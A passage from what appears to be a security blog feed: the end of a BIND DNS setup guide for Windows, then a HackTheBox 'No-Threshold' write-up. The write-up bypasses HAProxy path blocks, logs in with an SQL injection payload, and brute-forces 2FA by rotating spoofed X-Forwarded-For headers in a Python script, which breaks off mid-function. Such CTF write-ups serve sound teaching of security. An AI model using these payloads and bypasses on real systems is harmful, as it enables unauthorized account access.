</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">cname</span> <span class="p">{</span> <span class="n">auth_servers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">delegation</span><span class="o">-</span><span class="n">only</span> <span class="p">{</span> <span class="n">auth_servers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">lame</span><span class="o">-</span><span class="n">servers</span> <span class="p">{</span> <span class="n">auth_servers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">edns</span><span class="o">-</span><span class="n">disabled</span> <span class="p">{</span> <span class="n">auth_servers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">dnssec</span> <span class="p">{</span> <span class="n">dnssec_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">notify</span> <span class="p">{</span> <span class="n">zone_transfers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">xfer</span><span class="o">-</span><span class="ow">in</span> <span class="p">{</span> <span class="n">zone_transfers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">xfer</span><span class="o">-</span><span class="n">out</span> <span class="p">{</span> <span class="n">zone_transfers_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">update</span><span class="p">{</span> <span class="n">ddns_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">update</span><span class="o">-</span><span class="n">security</span> <span class="p">{</span> <span class="n">ddns_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">client</span><span class="p">{</span> <span class="n">client_security_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">security</span> <span class="p">{</span> <span class="n">client_security_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">rate</span><span class="o">-</span><span class="n">limit</span> <span class="p">{</span> <span class="n">rate_limiting_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">spill</span> <span class="p">{</span> <span class="n">rate_limiting_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">database</span> <span class="p">{</span> <span class="n">rate_limiting_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">rpz</span> <span class="p">{</span> <span class="n">rpz_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">dnstap</span> <span class="p">{</span> <span class="n">dnstap_log</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">trust</span><span class="o">-</span><span class="n">anchor</span><span class="o">-</span><span class="n">telemetry</span> <span class="p">{</span> <span class="n">default_syslog</span><span class="p">;</span> <span class="n">default_debug</span><span class="p">;</span> <span class="n">default_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">queries</span> <span class="p">{</span> <span class="n">queries_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">     <span class="n">category</span> <span class="n">query</span><span class="o">-</span><span class="n">errors</span> <span class="p">{</span><span class="n">query</span><span class="o">-</span><span class="n">errors_log</span><span class="p">;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div></details>
<h3 id="etcnamedconfoptions-file"><em><code>etc/named.conf.options</code></em> file</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">options {
</span></span><span class="line"><span class="cl">          directory &#34;C:\Program Files\ISC BIND 9\zones&#34;;    # Sets the location of the root hints file
</span></span><span class="line"><span class="cl">          recursion yes;                                    # Allows recursive queries (looking-up unknown hosts)
</span></span><span class="line"><span class="cl">          allow-recursion { any; };                         # Allows any DNS client to make recursive queries
</span></span><span class="line"><span class="cl">          listen-on { any; };                               # Listen on all IPv4 addresses (but not IPv6)
</span></span><span class="line"><span class="cl">          listen-on-v6 { any; };
</span></span><span class="line"><span class="cl">          allow-query { any; };
</span></span><span class="line"><span class="cl">          allow-transfer { none; };                         # disable zone transfers by default
</span></span><span class="line"><span class="cl">          version none;                                     # Prevents attackers getting the BIND version
</span></span><span class="line"><span class="cl">          prefetch 10 60;                                   # Prefetches any cached record with a TTL &gt; 60 seconds when it gets to within 10 seconds of expiry)
</span></span><span class="line"><span class="cl">          rate-limit { responses-per-second 10; };          # Tries to limit DNS DDoS attacks
</span></span><span class="line"><span class="cl">          querylog yes;                                     # Ensure query logging is enabled
</span></span><span class="line"><span class="cl">          #blackhole {                                      # Drop queries that result in IPs for these ranges
</span></span><span class="line"><span class="cl">          #    10/8;                                        #  - remove this line if you are running on a 10.x.y.z network
</span></span><span class="line"><span class="cl">          #    172.16/12;                                   #  - remove this line if you are running on a 172.16.x.y network
</span></span><span class="line"><span class="cl">          #    192.168/16;                                  #  - remove this line if you are running on a 192.168.x.y network
</span></span><span class="line"><span class="cl">          #};
</span></span><span class="line"><span class="cl">          // Forward DNS queries to public DNS resolvers
</span></span><span class="line"><span class="cl">          forwarders {
</span></span><span class="line"><span class="cl">            8.8.8.8;        // Google Public DNS
</span></span><span class="line"><span class="cl">            8.8.4.4;        // Google Public DNS
</span></span><span class="line"><span class="cl">            1.1.1.1;        // Cloudflare DNS
</span></span><span class="line"><span class="cl">            1.0.0.1;        // Cloudflare DNS
</span></span><span class="line"><span class="cl">            192.168.0.1;    // Default DNS
</span></span><span class="line"><span class="cl">          };
</span></span><span class="line"><span class="cl">          // indicates all queries will be forwarded other than for defined zones
</span></span><span class="line"><span class="cl">          //forward only;
</span></span><span class="line"><span class="cl">          dnssec-validation auto;                           # sets the DNS root zone as the trust anchor for DNSSEC
</span></span><span class="line"><span class="cl">          // Other options
</span></span><span class="line"><span class="cl">          auth-nxdomain no;    // Conform to RFC1035
</span></span><span class="line"><span class="cl">};
</span></span></code></pre></div><h3 id="zone-files">Zone files</h3>
<h4 id="zonesburpzone-file"><em><code>zones/burp.zone</code></em> file</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-zone" data-lang="zone"><span class="line"><span class="cl"><span class="na">$TTL</span><span class="w"> </span><span class="sc">3600</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">@</span><span class="w">    </span><span class="k">IN</span><span class="w">    </span><span class="k">SOA</span><span class="w">   </span><span class="py">ns1.oastify.com. admin.oastify.com. </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="sc">6</span><span class="w"> </span><span class="c">; Serial</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="sc">3600</span><span class="w">       </span><span class="c">; Refresh</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="sc">1800</span><span class="w">       </span><span class="c">; Retry</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="sc">1209600</span><span class="w">    </span><span class="c">; Expire</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="sc">3600</span><span class="w"> </span><span class="p">)</span><span class="w">     </span><span class="c">; Minimum TTL</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">@</span><span class="w">    </span><span class="k">IN</span><span class="w">    </span><span class="k">NS</span><span class="w">    </span><span class="py">ns1.oastify.com.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">@</span><span class="w">    </span><span class="k">IN</span><span class="w">    </span><span class="k">NS</span><span class="w">    </span><span class="py">ns2.oastify.com.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">ns1</span><span class="w">  </span><span class="k">IN</span><span class="w">    </span><span class="k">A</span><span class="w">     </span><span class="mi">3.248.33.252</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">ns2</span><span class="w">  </span><span class="k">IN</span><span class="w">    </span><span class="k">A</span><span class="w">     </span><span class="mi">54.77.139.23</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">@</span><span class="w">  </span><span class="k">IN</span><span class="w">    </span><span class="k">A</span><span class="w">     </span><span class="mi">3.248.33.252</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">@</span><span class="w">  </span><span class="k">IN</span><span class="w">    </span><span class="k">A</span><span class="w">     </span><span class="mi">54.77.139.23</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="err">*</span><span class="w">    </span><span class="k">IN</span><span class="w">    </span><span class="k">CNAME</span><span class="w"> </span><span class="py">PublicInteractionNLB-3bddf5ff6abb91b6.elb.eu-west-1.amazonaws.com.</span><span class="w">
</span></span></span></code></pre></div><h4 id="zoneshtbzone-file"><em><code>zones/htb.zone</code></em> file</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-zone" data-lang="zone"><span class="line"><span class="cl"><span class="na">$TTL</span><span class="w"> </span><span class="sc">86400</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">@</span><span class="w">    </span><span class="k">IN</span><span class="w">    </span><span class="k">SOA</span><span class="w">   </span><span class="py">ns1.htb. admin.htb. </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="sc">2024091201</span><span class="w"> </span><span class="c">; Serial</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="sc">3600</span><span class="w">       </span><span class="c">; Refresh</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="sc">1800</span><span class="w">       </span><span class="c">; Retry</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="sc">1209600</span><span class="w">    </span><span class="c">; Expire</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="sc">86400</span><span class="w"> </span><span class="p">)</span><span class="w">    </span><span class="c">; Minimum TTL</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">     </span><span class="k">IN</span><span class="w">    </span><span class="k">NS</span><span class="w">    </span><span class="py">ns1.htb.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nc">ns1</span><span class="w">  </span><span class="k">IN</span><span class="w">    </span><span class="k">A</span><span class="w">     </span><span class="mi">192.168.1.1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="err">*</span><span class="w">    </span><span class="k">IN</span><span class="w">    </span><span class="k">A</span><span class="w">     </span><span class="mi">192.168.1.2</span><span class="w">
</span></span></span></code></pre></div><h4 id="namedroot-file"><em><code>named.root</code></em> file</h4>
<p>Run this command in the <code>zones</code> directory:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">dig NS . @m.root-servers.net &gt; named.root
</span></span></code></pre></div><p>or download it from <a href="https://www.internic.net/domain/named.root">here</a>.</p>
<h3 id="generating-the-rndc-keyfile">Generating the RNDC keyfile</h3>
<p>Run the following command to generate the RNDC keyfile:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">rndc-confgen -a
</span></span></code></pre></div><p>You should see the following message: <code>wrote key file &quot;C:\Program Files\ISC BIND 9\etc\rndc.key&quot;</code></p>
<h2 id="start-bind">Start Bind</h2>
<p>In windows Go to <code>Services</code> and find the <code>ISC BIND</code> service, and click Start.
Status will change to running.</p>
<p>Verify if it&rsquo;s running using the dig command:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">dig +short <span class="s1">&#39;@127.0.0.1&#39;</span> www.aftabsama.com
</span></span></code></pre></div><p><img alt="dig command output" loading="lazy" src="/blog/how-to-setup-bind-dns-server-on-windows/images/dig-command-output.png#center"></p>
<h2 id="troubleshooting">Troubleshooting</h2>
<ul>
<li>Go to <code>Event Viewer</code> &gt; <code>Windows Logs</code> &gt; <code>Application</code> and filter by the event source named to see the problem.</li>
<li>Check the log files in <code>logs</code> folder.</li>
</ul>
<h3 id="allow-bind-through-firewall">Allow BIND through firewall</h3>
<p>If you are facing network connectivity issues, try changing firewall rules.</p>
<ul>
<li>If the connection is blocked, go to <code>Control Panel</code> &gt; <code>System and Security</code> &gt; <code>Windows Defender Firewall</code> &gt; Allow an app or feature through Windows Defender Firewall.</li>
<li>Click on Change settings &gt; Allow another app&hellip;</li>
<li>Browse to the BIND executable (e.g., <code>bin/named.exe</code>), select it, and click Add.</li>
</ul>
<br>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>No-Threshold - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/no-threshold-web/</link>
      <pubDate>Sun, 01 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/no-threshold-web/</guid>
      <description>https://app.hackthebox.com/challenges/No-Threshold</description>
      <content:encoded><![CDATA[<hr>
<h3 id="challenge-description">Challenge Description</h3>
<p>Prepare for the finest magic products out there. However, please be aware that we&rsquo;ve implemented a specialized protective spell within our web application to guard against any black magic aimed at our web shop.🔮🎩</p>
<h3 id="source-code-review">Source Code Review</h3>
<p>In the <code>haproxy.cfg</code> file, we notice few things.</p>
<h4 id="bypass-blocked-access-to-login">Bypass blocked access to login</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cfg" data-lang="cfg"><span class="line"><span class="cl"><span class="c1"># External users should be blocked from accessing routes under maintenance.</span>
</span></span><span class="line"><span class="cl">    <span class="na">http-request deny if { path_beg /auth/login }</span>
</span></span></code></pre></div><p>Access to the path that starts with <code>/auth/login</code> is blocked. This can be easily bypassed with mutations like <code>//auth/login</code> or <code>/xx/../auth/login</code>.</p>
<p>URLs are often normalized by web servers, so both of them will resolve to <code>/auth/login</code>.</p>
<h4 id="bypass-blocked-access-toverify-2fa">Bypass blocked access to verify-2fa</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cfg" data-lang="cfg"><span class="line"><span class="cl">    <span class="c1"># Parse the X-Forwarded-For header value if it exists. If it doesn&#39;t exist, add the client&#39;s IP address to the X-Forwarded-For header.</span>
</span></span><span class="line"><span class="cl">    <span class="na">http-request add-header X-Forwarded-For %[src] if !{ req.hdr(X-Forwarded-For) -m found }</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Apply rate limit on the /auth/verify-2fa route.</span>
</span></span><span class="line"><span class="cl">    <span class="na">acl is_auth_verify_2fa path_beg,url_dec /auth/verify-2fa</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Checks for valid IPv4 address in X-Forwarded-For header and denies request if malformed IPv4 is found. (Application accepts IP addresses in the range from 0.0.0.0 to 255.255.255.255.)</span>
</span></span><span class="line"><span class="cl">    <span class="na">acl valid_ipv4 req.hdr(X-Forwarded-For) -m reg ^([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.([01]?[0-9][0-9]?|2[0-4][0-9]|25[0-5])$</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="na">http-request deny deny_status 400 if is_auth_verify_2fa !valid_ipv4</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Crate a stick-table to track the number of requests from a single IP address. (1min expire)</span>
</span></span><span class="line"><span class="cl">    <span class="na">stick-table type ip size 100k expire 60s store http_req_rate(60s)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Deny users that make more than 20 requests in a small timeframe.</span>
</span></span><span class="line"><span class="cl">    <span class="na">http-request track-sc0 hdr(X-Forwarded-For) if is_auth_verify_2fa</span>
</span></span><span class="line"><span class="cl">    <span class="na">http-request deny deny_status 429 if is_auth_verify_2fa { sc_http_req_rate(0) gt 20 }</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># External users should be blocked from accessing routes under maintenance.</span>
</span></span><span class="line"><span class="cl">    <span class="na">http-request deny if { path_beg /auth/login }</span>
</span></span></code></pre></div><p>This will keep track of the number of requests made to the <code>/auth/verify-2fa</code> endpoint from the IP based on the <code>X-Forwarded-For</code> header. It will deny requests to <code>/auth/verify-2fa</code> with a 429 status if the request rate exceeds 20 requests per minute per IP.</p>
<p>This can also be easily bypassed by using path mutations. or we can use <code>X-Forwarded-For</code> to use multiple IPs. 20 requests per IP, so we will need 500 IPs to bruteforce a 4-digit code.</p>
<h4 id="sql-injection-in-login">SQL injection in login</h4>
<p>In <code>login.py</code> we notice that username AND password are directly appended to the SQLite query. That&rsquo;s right, we have SQL injection here!</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">user</span> <span class="o">=</span> <span class="n">query_db</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="sa">f</span><span class="s2">&#34;SELECT username, password FROM users WHERE username = &#39;</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s2">&#39; AND password = &#39;</span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s2">&#39;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="n">one</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="p">)</span>
</span></span></code></pre></div><p>If we successfully login, it will set a 4-digit 2FA code.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl">            <span class="n">set_2fa_code</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">set_2fa_code</span><span class="p">(</span><span class="n">d</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">uwsgi</span><span class="o">.</span><span class="n">cache_del</span><span class="p">(</span><span class="s2">&#34;2fa-code&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">uwsgi</span><span class="o">.</span><span class="n">cache_set</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;2fa-code&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choices</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="n">d</span><span class="p">)),</span> <span class="mi">300</span> <span class="c1"># valid for 5 min</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span></code></pre></div><h3 id="get-the-flag">Get The Flag</h3>
<p>If we successfully login and verify the 2FA, then it will redirect to <code>/dashboard</code> and return the flag.
Simple enough, let&rsquo;s try it.</p>
<p>To login successfully we can use simple payload like <code>' OR 1=1 OR 'x'='x</code> in the username field.</p>
<p><img alt="Login via SQLi" loading="lazy" src="/writeups/hackthebox/no-threshold-web/files/sqli-login.png#center"></p>
<p>Now send it to the intruder and bruteforce a 4-digit code for the <code>//auth/verify-2fa</code> endpoint.</p>
<p><img alt="Intruder 2fa result" loading="lazy" src="/writeups/hackthebox/no-threshold-web/files/intruder-2fa-bruteforce.png#center"></p>
<p><img alt="Flag at Dashboard endpoint" loading="lazy" src="/writeups/hackthebox/no-threshold-web/files/dashboard-endpoint.png#center"></p>
<p>Alternatively, we can bruteforce 2FA code through multiple IP addresses via the <code>X-Forwarded-For</code> header.</p>
<p>Below Python code automates that process:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">threading</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">n1</span><span class="p">,</span> <span class="n">n2</span><span class="p">,</span> <span class="n">n3</span><span class="p">,</span> <span class="n">n4</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="n">ips</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://94.237.59.199:48823&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_ip</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="n">n1</span><span class="p">,</span> <span class="n">n2</span><span class="p">,</span> <span class="n">n3</span><span class="p">,</span> <span class="n">n4</span><span class="p">,</span> <span class="n">url</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">x2</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">x</span> <span class="o">+</span> <span class="mi">10</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">n4</span> <span class="o">&lt;</span> <span class="mi">255</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">n4</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">n3</span> <span class="o">&lt;</span> <span class="mi">255</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">n3</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">n2</span> <span class="o">&lt;</span> <span class="mi">255</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">n2</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="k">elif</span> <span class="n">n1</span> <span class="o">&lt;</span> <span class="mi">255</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">n1</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="n">ip</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">n1</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="n">n2</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="n">n3</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="n">n4</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;X-Forwarded-For&#34;</span><span class="p">:</span> <span class="n">ip</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2">//x/../auth/login&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span><span class="o">=</span><span class="s2">&#34;username=&#39;+OR+1263</span><span class="si">%3d</span><span class="s2">1263+OR+&#39;RzWd&#39;</span><span class="si">%3d</span><span class="s2">&#39;OrZt&amp;password=cycAEGAv4OapKYasrIa2vuguAnSgwib5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">proxies</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;http&#34;</span><span class="p">:</span> <span class="s2">&#34;http://127.0.0.1:8080/&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="n">allow_redirects</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="s2">&#34;verify-2fa&#34;</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="s2">&#34;no 2fa!!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">ips</span><span class="p">[</span><span class="n">x2</span><span class="p">]</span> <span class="o">=</span> <span class="n">ip</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_force</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">ip</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;X-Forwarded-For&#34;</span><span class="p">:</span> <span class="n">ip</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2">/auth/verify-2fa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span><span class="o">=</span><span class="sa">f</span><span class="s2">&#34;2fa-code=</span><span class="si">{</span><span class="n">i</span><span class="si">:</span><span class="s2">04</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">proxies</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;http&#34;</span><span class="p">:</span> <span class="s2">&#34;http://127.0.0.1:8080/&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="s2">&#34;flag&#34;</span> <span class="ow">in</span> <span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;IP:&#34;</span><span class="p">,</span> <span class="n">ip</span><span class="p">)</span>
